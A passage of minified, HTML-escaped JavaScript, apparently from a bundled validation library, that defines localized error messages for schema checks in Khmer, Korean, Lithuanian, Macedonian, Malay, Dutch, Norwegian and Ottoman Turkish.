E.164&quot;,jwt:&quot;JWT&quot;,template_literal:&quot;ទិន្នន័យបញ្ចូល&quot;};return i=&gt;{switch(i.code){case&quot;invalid_type&quot;:return`ទិន្នន័យបញ្ចូលមិនត្រឹមត្រូវ៖ ត្រូវការ ${i.expected} ប៉ុន្តែទទួលបាន ${r(i.input)}`;case&quot;invalid_value&quot;:return i.values.length===1?`ទិន្នន័យបញ្ចូលមិនត្រឹមត្រូវ៖ ត្រូវការ ${xn(i.values[0])}`:`ជម្រើសមិនត្រឹមត្រូវ៖ ត្រូវជាមួយក្នុងចំណោម ${hr(i.values,&quot;|&quot;)}`;case&quot;too_big&quot;:{const s=i.inclusive?&quot;&lt;=&quot;:&quot;&lt;&quot;,o=t(i.origin);return o?`ធំពេក៖ ត្រូវការ ${i.origin??&quot;តម្លៃ&quot;} ${s} ${i.maximum.toString()} ${o.unit??&quot;ធាតុ&quot;}`:`ធំពេក៖ ត្រូវការ ${i.origin??&quot;តម្លៃ&quot;} ${s} ${i.maximum.toString()}`}case&quot;too_small&quot;:{const s=i.inclusive?&quot;&gt;=&quot;:&quot;&gt;&quot;,o=t(i.origin);return o?`តូចពេក៖ ត្រូវការ ${i.origin} ${s} ${i.minimum.toString()} ${o.unit}`:`តូចពេក៖ ត្រូវការ ${i.origin} ${s} ${i.minimum.toString()}`}case&quot;invalid_format&quot;:{const s=i;return s.format===&quot;starts_with&quot;?`ខ្សែអក្សរមិនត្រឹមត្រូវ៖ ត្រូវចាប់ផ្តើមដោយ &quot;${s.prefix}&quot;`:s.format===&quot;ends_with&quot;?`ខ្សែអក្សរមិនត្រឹមត្រូវ៖ ត្រូវបញ្ចប់ដោយ &quot;${s.suffix}&quot;`:s.format===&quot;includes&quot;?`ខ្សែអក្សរមិនត្រឹមត្រូវ៖ ត្រូវមាន &quot;${s.includes}&quot;`:s.format===&quot;regex&quot;?`ខ្សែអក្សរមិនត្រឹមត្រូវ៖ ត្រូវតែផ្គូផ្គងនឹងទម្រង់ដែលបានកំណត់ ${s.pattern}`:`មិនត្រឹមត្រូវ៖ ${n[s.format]??i.format}`}case&quot;not_multiple_of&quot;:return`លេខមិនត្រឹមត្រូវ៖ ត្រូវតែជាពហុគុណនៃ ${i.divisor}`;case&quot;unrecognized_keys&quot;:return`រកឃើញសោមិនស្គាល់៖ ${hr(i.keys,&quot;, &quot;)}`;case&quot;invalid_key&quot;:return`សោមិនត្រឹមត្រូវនៅក្នុង ${i.origin}`;case&quot;invalid_union&quot;:return&quot;ទិន្នន័យមិនត្រឹមត្រូវ&quot;;case&quot;invalid_element&quot;:return`ទិន្នន័យមិនត្រឹមត្រូវនៅក្នុង ${i.origin}`;default:return&quot;ទិន្នន័យមិនត្រឹមត្រូវ&quot;}}};function tee(){return{localeError:HMe()}}function qMe(){return tee()}const GMe=()=&gt;{const e={string:{unit:&quot;문자&quot;,verb:&quot;to have&quot;},file:{unit:&quot;바이트&quot;,verb:&quot;to have&quot;},array:{unit:&quot;개&quot;,verb:&quot;to have&quot;},set:{unit:&quot;개&quot;,verb:&quot;to have&quot;}};function t(i){return e[i]??null}const r=i=&gt;{const s=typeof i;switch(s){case&quot;number&quot;:return Number.isNaN(i)?&quot;NaN&quot;:&quot;number&quot;;case&quot;object&quot;:{if(Array.isArray(i))return&quot;array&quot;;if(i===null)return&quot;null&quot;;if(Object.getPrototypeOf(i)!==Object.prototype&amp;&amp;i.constructor)return i.constructor.name}}return s},n={regex:&quot;입력&quot;,email:&quot;이메일 주소&quot;,url:&quot;URL&quot;,emoji:&quot;이모지&quot;,uuid:&quot;UUID&quot;,uuidv4:&quot;UUIDv4&quot;,uuidv6:&quot;UUIDv6&quot;,nanoid:&quot;nanoid&quot;,guid:&quot;GUID&quot;,cuid:&quot;cuid&quot;,cuid2:&quot;cuid2&quot;,ulid:&quot;ULID&quot;,xid:&quot;XID&quot;,ksuid:&quot;KSUID&quot;,datetime:&quot;ISO 날짜시간&quot;,date:&quot;ISO 날짜&quot;,time:&quot;ISO 시간&quot;,duration:&quot;ISO 기간&quot;,ipv4:&quot;IPv4 주소&quot;,ipv6:&quot;IPv6 주소&quot;,cidrv4:&quot;IPv4 범위&quot;,cidrv6:&quot;IPv6 범위&quot;,base64:&quot;base64 인코딩 문자열&quot;,base64url:&quot;base64url 인코딩 문자열&quot;,json_string:&quot;JSON 문자열&quot;,e164:&quot;E.164 번호&quot;,jwt:&quot;JWT&quot;,template_literal:&quot;입력&quot;};return i=&gt;{switch(i.code){case&quot;invalid_type&quot;:return`잘못된 입력: 예상 타입은 ${i.expected}, 받은 타입은 ${r(i.input)}입니다`;case&quot;invalid_value&quot;:return i.values.length===1?`잘못된 입력: 값은 ${xn(i.values[0])} 이어야 합니다`:`잘못된 옵션: ${hr(i.values,&quot;또는 &quot;)} 중 하나여야 합니다`;case&quot;too_big&quot;:{const s=i.inclusive?&quot;이하&quot;:&quot;미만&quot;,o=s===&quot;미만&quot;?&quot;이어야 합니다&quot;:&quot;여야 합니다&quot;,l=t(i.origin),c=l?.unit??&quot;요소&quot;;return l?`${i.origin??&quot;값&quot;}이 너무 큽니다: ${i.maximum.toString()}${c} ${s}${o}`:`${i.origin??&quot;값&quot;}이 너무 큽니다: ${i.maximum.toString()} ${s}${o}`}case&quot;too_small&quot;:{const s=i.inclusive?&quot;이상&quot;:&quot;초과&quot;,o=s===&quot;이상&quot;?&quot;이어야 합니다&quot;:&quot;여야 합니다&quot;,l=t(i.origin),c=l?.unit??&quot;요소&quot;;return l?`${i.origin??&quot;값&quot;}이 너무 작습니다: ${i.minimum.toString()}${c} ${s}${o}`:`${i.origin??&quot;값&quot;}이 너무 작습니다: ${i.minimum.toString()} ${s}${o}`}case&quot;invalid_format&quot;:{const s=i;return s.format===&quot;starts_with&quot;?`잘못된 문자열: &quot;${s.prefix}&quot;(으)로 시작해야 합니다`:s.format===&quot;ends_with&quot;?`잘못된 문자열: &quot;${s.suffix}&quot;(으)로 끝나야 합니다`:s.format===&quot;includes&quot;?`잘못된 문자열: &quot;${s.includes}&quot;을(를) 포함해야 합니다`:s.format===&quot;regex&quot;?`잘못된 문자열: 정규식 ${s.pattern} 패턴과 일치해야 합니다`:`잘못된 ${n[s.format]??i.format}`}case&quot;not_multiple_of&quot;:return`잘못된 숫자: ${i.divisor}의 배수여야 합니다`;case&quot;unrecognized_keys&quot;:return`인식할 수 없는 키: ${hr(i.keys,&quot;, &quot;)}`;case&quot;invalid_key&quot;:return`잘못된 키: ${i.origin}`;case&quot;invalid_union&quot;:return&quot;잘못된 입력&quot;;case&quot;invalid_element&quot;:return`잘못된 값: ${i.origin}`;default:return&quot;잘못된 입력&quot;}}};function VMe(){return{localeError:GMe()}}const WMe=e=&gt;Hx(typeof e,e),Hx=(e,t=void 0)=&gt;{switch(e){case&quot;number&quot;:return Number.isNaN(t)?&quot;NaN&quot;:&quot;skaičius&quot;;case&quot;bigint&quot;:return&quot;sveikasis skaičius&quot;;case&quot;string&quot;:return&quot;eilutė&quot;;case&quot;boolean&quot;:return&quot;loginė reikšmė&quot;;case&quot;undefined&quot;:case&quot;void&quot;:return&quot;neapibrėžta reikšmė&quot;;case&quot;function&quot;:return&quot;funkcija&quot;;case&quot;symbol&quot;:return&quot;simbolis&quot;;case&quot;object&quot;:return t===void 0?&quot;nežinomas objektas&quot;:t===null?&quot;nulinė reikšmė&quot;:Array.isArray(t)?&quot;masyvas&quot;:Object.getPrototypeOf(t)!==Object.prototype&amp;&amp;t.constructor?t.constructor.name:&quot;objektas&quot;;case&quot;null&quot;:return&quot;nulinė reikšmė&quot;}return e},Tx=e=&gt;e.charAt(0).toUpperCase()+e.slice(1);function YF(e){const t=Math.abs(e),r=t%10,n=t%100;return n&gt;=11&amp;&amp;n&lt;=19||r===0?&quot;many&quot;:r===1?&quot;one&quot;:&quot;few&quot;}const KMe=()=&gt;{const e={string:{unit:{one:&quot;simbolis&quot;,few:&quot;simboliai&quot;,many:&quot;simbolių&quot;},verb:{smaller:{inclusive:&quot;turi būti ne ilgesnė kaip&quot;,notInclusive:&quot;turi būti trumpesnė kaip&quot;},bigger:{inclusive:&quot;turi būti ne trumpesnė kaip&quot;,notInclusive:&quot;turi būti ilgesnė kaip&quot;}}},file:{unit:{one:&quot;baitas&quot;,few:&quot;baitai&quot;,many:&quot;baitų&quot;},verb:{smaller:{inclusive:&quot;turi būti ne didesnis kaip&quot;,notInclusive:&quot;turi būti mažesnis kaip&quot;},bigger:{inclusive:&quot;turi būti ne mažesnis kaip&quot;,notInclusive:&quot;turi būti didesnis kaip&quot;}}},array:{unit:{one:&quot;elementą&quot;,few:&quot;elementus&quot;,many:&quot;elementų&quot;},verb:{smaller:{inclusive:&quot;turi turėti ne daugiau kaip&quot;,notInclusive:&quot;turi turėti mažiau kaip&quot;},bigger:{inclusive:&quot;turi turėti ne mažiau kaip&quot;,notInclusive:&quot;turi turėti daugiau kaip&quot;}}},set:{unit:{one:&quot;elementą&quot;,few:&quot;elementus&quot;,many:&quot;elementų&quot;},verb:{smaller:{inclusive:&quot;turi turėti ne daugiau kaip&quot;,notInclusive:&quot;turi turėti mažiau kaip&quot;},bigger:{inclusive:&quot;turi turėti ne mažiau kaip&quot;,notInclusive:&quot;turi turėti daugiau kaip&quot;}}}};function t(n,i,s,o){const l=e[n]??null;return l===null?l:{unit:l.unit[i],verb:l.verb[o][s?&quot;inclusive&quot;:&quot;notInclusive&quot;]}}const r={regex:&quot;įvestis&quot;,email:&quot;el. pašto adresas&quot;,url:&quot;URL&quot;,emoji:&quot;jaustukas&quot;,uuid:&quot;UUID&quot;,uuidv4:&quot;UUIDv4&quot;,uuidv6:&quot;UUIDv6&quot;,nanoid:&quot;nanoid&quot;,guid:&quot;GUID&quot;,cuid:&quot;cuid&quot;,cuid2:&quot;cuid2&quot;,ulid:&quot;ULID&quot;,xid:&quot;XID&quot;,ksuid:&quot;KSUID&quot;,datetime:&quot;ISO data ir laikas&quot;,date:&quot;ISO data&quot;,time:&quot;ISO laikas&quot;,duration:&quot;ISO trukmė&quot;,ipv4:&quot;IPv4 adresas&quot;,ipv6:&quot;IPv6 adresas&quot;,cidrv4:&quot;IPv4 tinklo prefiksas (CIDR)&quot;,cidrv6:&quot;IPv6 tinklo prefiksas (CIDR)&quot;,base64:&quot;base64 užkoduota eilutė&quot;,base64url:&quot;base64url užkoduota eilutė&quot;,json_string:&quot;JSON eilutė&quot;,e164:&quot;E.164 numeris&quot;,jwt:&quot;JWT&quot;,template_literal:&quot;įvestis&quot;};return n=&gt;{switch(n.code){case&quot;invalid_type&quot;:return`Gautas tipas ${WMe(n.input)}, o tikėtasi - ${Hx(n.expected)}`;case&quot;invalid_value&quot;:return n.values.length===1?`Privalo būti ${xn(n.values[0])}`:`Privalo būti vienas iš ${hr(n.values,&quot;|&quot;)} pasirinkimų`;case&quot;too_big&quot;:{const i=Hx(n.origin),s=t(n.origin,YF(Number(n.maximum)),n.inclusive??!1,&quot;smaller&quot;);if(s?.verb)return`${Tx(i??n.origin??&quot;reikšmė&quot;)} ${s.verb} ${n.maximum.toString()} ${s.unit??&quot;elementų&quot;}`;const o=n.inclusive?&quot;ne didesnis kaip&quot;:&quot;mažesnis kaip&quot;;return`${Tx(i??n.origin??&quot;reikšmė&quot;)} turi būti ${o} ${n.maximum.toString()} ${s?.unit}`}case&quot;too_small&quot;:{const i=Hx(n.origin),s=t(n.origin,YF(Number(n.minimum)),n.inclusive??!1,&quot;bigger&quot;);if(s?.verb)return`${Tx(i??n.origin??&quot;reikšmė&quot;)} ${s.verb} ${n.minimum.toString()} ${s.unit??&quot;elementų&quot;}`;const o=n.inclusive?&quot;ne mažesnis kaip&quot;:&quot;didesnis kaip&quot;;return`${Tx(i??n.origin??&quot;reikšmė&quot;)} turi būti ${o} ${n.minimum.toString()} ${s?.unit}`}case&quot;invalid_format&quot;:{const i=n;return i.format===&quot;starts_with&quot;?`Eilutė privalo prasidėti &quot;${i.prefix}&quot;`:i.format===&quot;ends_with&quot;?`Eilutė privalo pasibaigti &quot;${i.suffix}&quot;`:i.format===&quot;includes&quot;?`Eilutė privalo įtraukti &quot;${i.includes}&quot;`:i.format===&quot;regex&quot;?`Eilutė privalo atitikti ${i.pattern}`:`Neteisingas ${r[i.format]??n.format}`}case&quot;not_multiple_of&quot;:return`Skaičius privalo būti ${n.divisor} kartotinis.`;case&quot;unrecognized_keys&quot;:return`Neatpažint${n.keys.length&gt;1?&quot;i&quot;:&quot;as&quot;} rakt${n.keys.length&gt;1?&quot;ai&quot;:&quot;as&quot;}: ${hr(n.keys,&quot;, &quot;)}`;case&quot;invalid_key&quot;:return&quot;Rastas klaidingas raktas&quot;;case&quot;invalid_union&quot;:return&quot;Klaidinga įvestis&quot;;case&quot;invalid_element&quot;:{const i=Hx(n.origin);return`${Tx(i??n.origin??&quot;reikšmė&quot;)} turi klaidingą įvestį`}default:return&quot;Klaidinga įvestis&quot;}}};function YMe(){return{localeError:KMe()}}const ZMe=()=&gt;{const e={string:{unit:&quot;знаци&quot;,verb:&quot;да имаат&quot;},file:{unit:&quot;бајти&quot;,verb:&quot;да имаат&quot;},array:{unit:&quot;ставки&quot;,verb:&quot;да имаат&quot;},set:{unit:&quot;ставки&quot;,verb:&quot;да имаат&quot;}};function t(i){return e[i]??null}const r=i=&gt;{const s=typeof i;switch(s){case&quot;number&quot;:return Number.isNaN(i)?&quot;NaN&quot;:&quot;број&quot;;case&quot;object&quot;:{if(Array.isArray(i))return&quot;низа&quot;;if(i===null)return&quot;null&quot;;if(Object.getPrototypeOf(i)!==Object.prototype&amp;&amp;i.constructor)return i.constructor.name}}return s},n={regex:&quot;внес&quot;,email:&quot;адреса на е-пошта&quot;,url:&quot;URL&quot;,emoji:&quot;емоџи&quot;,uuid:&quot;UUID&quot;,uuidv4:&quot;UUIDv4&quot;,uuidv6:&quot;UUIDv6&quot;,nanoid:&quot;nanoid&quot;,guid:&quot;GUID&quot;,cuid:&quot;cuid&quot;,cuid2:&quot;cuid2&quot;,ulid:&quot;ULID&quot;,xid:&quot;XID&quot;,ksuid:&quot;KSUID&quot;,datetime:&quot;ISO датум и време&quot;,date:&quot;ISO датум&quot;,time:&quot;ISO време&quot;,duration:&quot;ISO времетраење&quot;,ipv4:&quot;IPv4 адреса&quot;,ipv6:&quot;IPv6 адреса&quot;,cidrv4:&quot;IPv4 опсег&quot;,cidrv6:&quot;IPv6 опсег&quot;,base64:&quot;base64-енкодирана низа&quot;,base64url:&quot;base64url-енкодирана низа&quot;,json_string:&quot;JSON низа&quot;,e164:&quot;E.164 број&quot;,jwt:&quot;JWT&quot;,template_literal:&quot;внес&quot;};return i=&gt;{switch(i.code){case&quot;invalid_type&quot;:return`Грешен внес: се очекува ${i.expected}, примено ${r(i.input)}`;case&quot;invalid_value&quot;:return i.values.length===1?`Invalid input: expected ${xn(i.values[0])}`:`Грешана опција: се очекува една ${hr(i.values,&quot;|&quot;)}`;case&quot;too_big&quot;:{const s=i.inclusive?&quot;&lt;=&quot;:&quot;&lt;&quot;,o=t(i.origin);return o?`Премногу голем: се очекува ${i.origin??&quot;вредноста&quot;} да има ${s}${i.maximum.toString()} ${o.unit??&quot;елементи&quot;}`:`Премногу голем: се очекува ${i.origin??&quot;вредноста&quot;} да биде ${s}${i.maximum.toString()}`}case&quot;too_small&quot;:{const s=i.inclusive?&quot;&gt;=&quot;:&quot;&gt;&quot;,o=t(i.origin);return o?`Премногу мал: се очекува ${i.origin} да има ${s}${i.minimum.toString()} ${o.unit}`:`Премногу мал: се очекува ${i.origin} да биде ${s}${i.minimum.toString()}`}case&quot;invalid_format&quot;:{const s=i;return s.format===&quot;starts_with&quot;?`Неважечка низа: мора да започнува со &quot;${s.prefix}&quot;`:s.format===&quot;ends_with&quot;?`Неважечка низа: мора да завршува со &quot;${s.suffix}&quot;`:s.format===&quot;includes&quot;?`Неважечка низа: мора да вклучува &quot;${s.includes}&quot;`:s.format===&quot;regex&quot;?`Неважечка низа: мора да одгоара на патернот ${s.pattern}`:`Invalid ${n[s.format]??i.format}`}case&quot;not_multiple_of&quot;:return`Грешен број: мора да биде делив со ${i.divisor}`;case&quot;unrecognized_keys&quot;:return`${i.keys.length&gt;1?&quot;Непрепознаени клучеви&quot;:&quot;Непрепознаен клуч&quot;}: ${hr(i.keys,&quot;, &quot;)}`;case&quot;invalid_key&quot;:return`Грешен клуч во ${i.origin}`;case&quot;invalid_union&quot;:return&quot;Грешен внес&quot;;case&quot;invalid_element&quot;:return`Грешна вредност во ${i.origin}`;default:return&quot;Грешен внес&quot;}}};function JMe(){return{localeError:ZMe()}}const XMe=()=&gt;{const e={string:{unit:&quot;aksara&quot;,verb:&quot;mempunyai&quot;},file:{unit:&quot;bait&quot;,verb:&quot;mempunyai&quot;},array:{unit:&quot;elemen&quot;,verb:&quot;mempunyai&quot;},set:{unit:&quot;elemen&quot;,verb:&quot;mempunyai&quot;}};function t(i){return e[i]??null}const r=i=&gt;{const s=typeof i;switch(s){case&quot;number&quot;:return Number.isNaN(i)?&quot;NaN&quot;:&quot;nombor&quot;;case&quot;object&quot;:{if(Array.isArray(i))return&quot;array&quot;;if(i===null)return&quot;null&quot;;if(Object.getPrototypeOf(i)!==Object.prototype&amp;&amp;i.constructor)return i.constructor.name}}return s},n={regex:&quot;input&quot;,email:&quot;alamat e-mel&quot;,url:&quot;URL&quot;,emoji:&quot;emoji&quot;,uuid:&quot;UUID&quot;,uuidv4:&quot;UUIDv4&quot;,uuidv6:&quot;UUIDv6&quot;,nanoid:&quot;nanoid&quot;,guid:&quot;GUID&quot;,cuid:&quot;cuid&quot;,cuid2:&quot;cuid2&quot;,ulid:&quot;ULID&quot;,xid:&quot;XID&quot;,ksuid:&quot;KSUID&quot;,datetime:&quot;tarikh masa ISO&quot;,date:&quot;tarikh ISO&quot;,time:&quot;masa ISO&quot;,duration:&quot;tempoh ISO&quot;,ipv4:&quot;alamat IPv4&quot;,ipv6:&quot;alamat IPv6&quot;,cidrv4:&quot;julat IPv4&quot;,cidrv6:&quot;julat IPv6&quot;,base64:&quot;string dikodkan base64&quot;,base64url:&quot;string dikodkan base64url&quot;,json_string:&quot;string JSON&quot;,e164:&quot;nombor E.164&quot;,jwt:&quot;JWT&quot;,template_literal:&quot;input&quot;};return i=&gt;{switch(i.code){case&quot;invalid_type&quot;:return`Input tidak sah: dijangka ${i.expected}, diterima ${r(i.input)}`;case&quot;invalid_value&quot;:return i.values.length===1?`Input tidak sah: dijangka ${xn(i.values[0])}`:`Pilihan tidak sah: dijangka salah satu daripada ${hr(i.values,&quot;|&quot;)}`;case&quot;too_big&quot;:{const s=i.inclusive?&quot;&lt;=&quot;:&quot;&lt;&quot;,o=t(i.origin);return o?`Terlalu besar: dijangka ${i.origin??&quot;nilai&quot;} ${o.verb} ${s}${i.maximum.toString()} ${o.unit??&quot;elemen&quot;}`:`Terlalu besar: dijangka ${i.origin??&quot;nilai&quot;} adalah ${s}${i.maximum.toString()}`}case&quot;too_small&quot;:{const s=i.inclusive?&quot;&gt;=&quot;:&quot;&gt;&quot;,o=t(i.origin);return o?`Terlalu kecil: dijangka ${i.origin} ${o.verb} ${s}${i.minimum.toString()} ${o.unit}`:`Terlalu kecil: dijangka ${i.origin} adalah ${s}${i.minimum.toString()}`}case&quot;invalid_format&quot;:{const s=i;return s.format===&quot;starts_with&quot;?`String tidak sah: mesti bermula dengan &quot;${s.prefix}&quot;`:s.format===&quot;ends_with&quot;?`String tidak sah: mesti berakhir dengan &quot;${s.suffix}&quot;`:s.format===&quot;includes&quot;?`String tidak sah: mesti mengandungi &quot;${s.includes}&quot;`:s.format===&quot;regex&quot;?`String tidak sah: mesti sepadan dengan corak ${s.pattern}`:`${n[s.format]??i.format} tidak sah`}case&quot;not_multiple_of&quot;:return`Nombor tidak sah: perlu gandaan ${i.divisor}`;case&quot;unrecognized_keys&quot;:return`Kunci tidak dikenali: ${hr(i.keys,&quot;, &quot;)}`;case&quot;invalid_key&quot;:return`Kunci tidak sah dalam ${i.origin}`;case&quot;invalid_union&quot;:return&quot;Input tidak sah&quot;;case&quot;invalid_element&quot;:return`Nilai tidak sah dalam ${i.origin}`;default:return&quot;Input tidak sah&quot;}}};function eUe(){return{localeError:XMe()}}const tUe=()=&gt;{const e={string:{unit:&quot;tekens&quot;,verb:&quot;te hebben&quot;},file:{unit:&quot;bytes&quot;,verb:&quot;te hebben&quot;},array:{unit:&quot;elementen&quot;,verb:&quot;te hebben&quot;},set:{unit:&quot;elementen&quot;,verb:&quot;te hebben&quot;}};function t(i){return e[i]??null}const r=i=&gt;{const s=typeof i;switch(s){case&quot;number&quot;:return Number.isNaN(i)?&quot;NaN&quot;:&quot;getal&quot;;case&quot;object&quot;:{if(Array.isArray(i))return&quot;array&quot;;if(i===null)return&quot;null&quot;;if(Object.getPrototypeOf(i)!==Object.prototype&amp;&amp;i.constructor)return i.constructor.name}}return s},n={regex:&quot;invoer&quot;,email:&quot;emailadres&quot;,url:&quot;URL&quot;,emoji:&quot;emoji&quot;,uuid:&quot;UUID&quot;,uuidv4:&quot;UUIDv4&quot;,uuidv6:&quot;UUIDv6&quot;,nanoid:&quot;nanoid&quot;,guid:&quot;GUID&quot;,cuid:&quot;cuid&quot;,cuid2:&quot;cuid2&quot;,ulid:&quot;ULID&quot;,xid:&quot;XID&quot;,ksuid:&quot;KSUID&quot;,datetime:&quot;ISO datum en tijd&quot;,date:&quot;ISO datum&quot;,time:&quot;ISO tijd&quot;,duration:&quot;ISO duur&quot;,ipv4:&quot;IPv4-adres&quot;,ipv6:&quot;IPv6-adres&quot;,cidrv4:&quot;IPv4-bereik&quot;,cidrv6:&quot;IPv6-bereik&quot;,base64:&quot;base64-gecodeerde tekst&quot;,base64url:&quot;base64 URL-gecodeerde tekst&quot;,json_string:&quot;JSON string&quot;,e164:&quot;E.164-nummer&quot;,jwt:&quot;JWT&quot;,template_literal:&quot;invoer&quot;};return i=&gt;{switch(i.code){case&quot;invalid_type&quot;:return`Ongeldige invoer: verwacht ${i.expected}, ontving ${r(i.input)}`;case&quot;invalid_value&quot;:return i.values.length===1?`Ongeldige invoer: verwacht ${xn(i.values[0])}`:`Ongeldige optie: verwacht één van ${hr(i.values,&quot;|&quot;)}`;case&quot;too_big&quot;:{const s=i.inclusive?&quot;&lt;=&quot;:&quot;&lt;&quot;,o=t(i.origin);return o?`Te groot: verwacht dat ${i.origin??&quot;waarde&quot;} ${o.verb} ${s}${i.maximum.toString()} ${o.unit??&quot;elementen&quot;}`:`Te groot: verwacht dat ${i.origin??&quot;waarde&quot;} ${s}${i.maximum.toString()} is`}case&quot;too_small&quot;:{const s=i.inclusive?&quot;&gt;=&quot;:&quot;&gt;&quot;,o=t(i.origin);return o?`Te klein: verwacht dat ${i.origin} ${o.verb} ${s}${i.minimum.toString()} ${o.unit}`:`Te klein: verwacht dat ${i.origin} ${s}${i.minimum.toString()} is`}case&quot;invalid_format&quot;:{const s=i;return s.format===&quot;starts_with&quot;?`Ongeldige tekst: moet met &quot;${s.prefix}&quot; beginnen`:s.format===&quot;ends_with&quot;?`Ongeldige tekst: moet op &quot;${s.suffix}&quot; eindigen`:s.format===&quot;includes&quot;?`Ongeldige tekst: moet &quot;${s.includes}&quot; bevatten`:s.format===&quot;regex&quot;?`Ongeldige tekst: moet overeenkomen met patroon ${s.pattern}`:`Ongeldig: ${n[s.format]??i.format}`}case&quot;not_multiple_of&quot;:return`Ongeldig getal: moet een veelvoud van ${i.divisor} zijn`;case&quot;unrecognized_keys&quot;:return`Onbekende key${i.keys.length&gt;1?&quot;s&quot;:&quot;&quot;}: ${hr(i.keys,&quot;, &quot;)}`;case&quot;invalid_key&quot;:return`Ongeldige key in ${i.origin}`;case&quot;invalid_union&quot;:return&quot;Ongeldige invoer&quot;;case&quot;invalid_element&quot;:return`Ongeldige waarde in ${i.origin}`;default:return&quot;Ongeldige invoer&quot;}}};function rUe(){return{localeError:tUe()}}const nUe=()=&gt;{const e={string:{unit:&quot;tegn&quot;,verb:&quot;å ha&quot;},file:{unit:&quot;bytes&quot;,verb:&quot;å ha&quot;},array:{unit:&quot;elementer&quot;,verb:&quot;å inneholde&quot;},set:{unit:&quot;elementer&quot;,verb:&quot;å inneholde&quot;}};function t(i){return e[i]??null}const r=i=&gt;{const s=typeof i;switch(s){case&quot;number&quot;:return Number.isNaN(i)?&quot;NaN&quot;:&quot;tall&quot;;case&quot;object&quot;:{if(Array.isArray(i))return&quot;liste&quot;;if(i===null)return&quot;null&quot;;if(Object.getPrototypeOf(i)!==Object.prototype&amp;&amp;i.constructor)return i.constructor.name}}return s},n={regex:&quot;input&quot;,email:&quot;e-postadresse&quot;,url:&quot;URL&quot;,emoji:&quot;emoji&quot;,uuid:&quot;UUID&quot;,uuidv4:&quot;UUIDv4&quot;,uuidv6:&quot;UUIDv6&quot;,nanoid:&quot;nanoid&quot;,guid:&quot;GUID&quot;,cuid:&quot;cuid&quot;,cuid2:&quot;cuid2&quot;,ulid:&quot;ULID&quot;,xid:&quot;XID&quot;,ksuid:&quot;KSUID&quot;,datetime:&quot;ISO dato- og klokkeslett&quot;,date:&quot;ISO-dato&quot;,time:&quot;ISO-klokkeslett&quot;,duration:&quot;ISO-varighet&quot;,ipv4:&quot;IPv4-område&quot;,ipv6:&quot;IPv6-område&quot;,cidrv4:&quot;IPv4-spekter&quot;,cidrv6:&quot;IPv6-spekter&quot;,base64:&quot;base64-enkodet streng&quot;,base64url:&quot;base64url-enkodet streng&quot;,json_string:&quot;JSON-streng&quot;,e164:&quot;E.164-nummer&quot;,jwt:&quot;JWT&quot;,template_literal:&quot;input&quot;};return i=&gt;{switch(i.code){case&quot;invalid_type&quot;:return`Ugyldig input: forventet ${i.expected}, fikk ${r(i.input)}`;case&quot;invalid_value&quot;:return i.values.length===1?`Ugyldig verdi: forventet ${xn(i.values[0])}`:`Ugyldig valg: forventet en av ${hr(i.values,&quot;|&quot;)}`;case&quot;too_big&quot;:{const s=i.inclusive?&quot;&lt;=&quot;:&quot;&lt;&quot;,o=t(i.origin);return o?`For stor(t): forventet ${i.origin??&quot;value&quot;} til å ha ${s}${i.maximum.toString()} ${o.unit??&quot;elementer&quot;}`:`For stor(t): forventet ${i.origin??&quot;value&quot;} til å ha ${s}${i.maximum.toString()}`}case&quot;too_small&quot;:{const s=i.inclusive?&quot;&gt;=&quot;:&quot;&gt;&quot;,o=t(i.origin);return o?`For lite(n): forventet ${i.origin} til å ha ${s}${i.minimum.toString()} ${o.unit}`:`For lite(n): forventet ${i.origin} til å ha ${s}${i.minimum.toString()}`}case&quot;invalid_format&quot;:{const s=i;return s.format===&quot;starts_with&quot;?`Ugyldig streng: må starte med &quot;${s.prefix}&quot;`:s.format===&quot;ends_with&quot;?`Ugyldig streng: må ende med &quot;${s.suffix}&quot;`:s.format===&quot;includes&quot;?`Ugyldig streng: må inneholde &quot;${s.includes}&quot;`:s.format===&quot;regex&quot;?`Ugyldig streng: må matche mønsteret ${s.pattern}`:`Ugyldig ${n[s.format]??i.format}`}case&quot;not_multiple_of&quot;:return`Ugyldig tall: må være et multiplum av ${i.divisor}`;case&quot;unrecognized_keys&quot;:return`${i.keys.length&gt;1?&quot;Ukjente nøkler&quot;:&quot;Ukjent nøkkel&quot;}: ${hr(i.keys,&quot;, &quot;)}`;case&quot;invalid_key&quot;:return`Ugyldig nøkkel i ${i.origin}`;case&quot;invalid_union&quot;:return&quot;Ugyldig input&quot;;case&quot;invalid_element&quot;:return`Ugyldig verdi i ${i.origin}`;default:return&quot;Ugyldig input&quot;}}};function iUe(){return{localeError:nUe()}}const aUe=()=&gt;{const e={string:{unit:&quot;harf&quot;,verb:&quot;olmalıdır&quot;},file:{unit:&quot;bayt&quot;,verb:&quot;olmalıdır&quot;},array:{unit:&quot;unsur&quot;,verb:&quot;olmalıdır&quot;},set:{unit:&quot;unsur&quot;,verb:&quot;olmalıdır&quot;}};function t(i){return e[i]??null}const r=i=&gt;{const s=typeof i;switch(s){case&quot;number&quot;:return Number.isNaN(i)?&quot;NaN&quot;:&quot;numara&quot;;case&quot;object&quot;:{if(Array.isArray(i))return&quot;saf&quot;;if(i===null)return&quot;gayb&quot;;if(Object.getPrototypeOf(i)!==Object.prototype&amp;&amp;i.constructor)return i.constructor.name}}return s},n={regex:&quot;giren&quot;,email:&quot;epostagâh&quot;,url:&quot;URL&quot;,emoji:&quot;emoji&quot;,uuid:&quot;UUID&quot;,uuidv4:&quot;UUIDv4&quot;,uuidv6:&quot;UUIDv6&quot;,nanoid:&quot;nanoid&quot;,guid:&quot;GUID&quot;,cuid:&quot;cuid&quot;,cuid2:&quot;cuid2&quot;,ulid:&quot;ULID&quot;,xid:&quot;XID&quot;,ksuid:&quot;KSUID&quot;,datetime:&quot;ISO hengâmı&quot;,date:&quot;ISO tarihi&quot;,time:&quot;ISO zamanı&quot;,duration:&quot;ISO müddeti&quot;,ipv4:&quot;IPv4 nişânı&quot;,ipv6:&quot;IPv6 nişânı&quot;,cidrv4:&quot;IPv4 menzili&quot;,cidrv6:&quot;IPv6 menzili&quot;,base64:&quot;base64-şifreli metin&quot;,base64url:&quot;base64url-şifreli metin&quot;,json_string:&quot;JSON metin&quot;,e164:&quot;E.164 sayısı&quot;,jwt:&quot;JWT&quot;,template_literal:&quot;giren&quot;};return i=&gt;{switch(i.code){case&quot;invalid_type&quot;:return`Fâsit giren: umulan ${i.expected}, alınan ${r(i.input)}`;case&quot;invalid_value&quot;:return i.values.length===1?`Fâsit giren: umulan ${xn(i.values[0])}`:`Fâsit tercih: mûteberler ${hr(i.values,&quot;|&quot;)}`;case&quot;too_big&quot;:{const 